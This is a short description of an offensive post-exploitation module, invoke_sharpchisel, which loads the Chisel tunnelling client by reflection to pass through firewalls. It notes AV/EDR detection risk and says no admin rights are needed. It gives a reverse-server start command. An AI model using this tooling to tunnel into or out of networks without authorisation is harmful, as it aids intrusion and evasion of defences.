Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_sharpchisel module does not need administrative privileges to work properly which means that a normal user can run this module.

 Comments     This is the Chisel client loaded with reflection. A chisel server    
              needs to be started before running this module. Only Chisel server   
              v1.7.2 was tested with this module. Chisel server should be started  
              like so: "./chisel server --reverse"
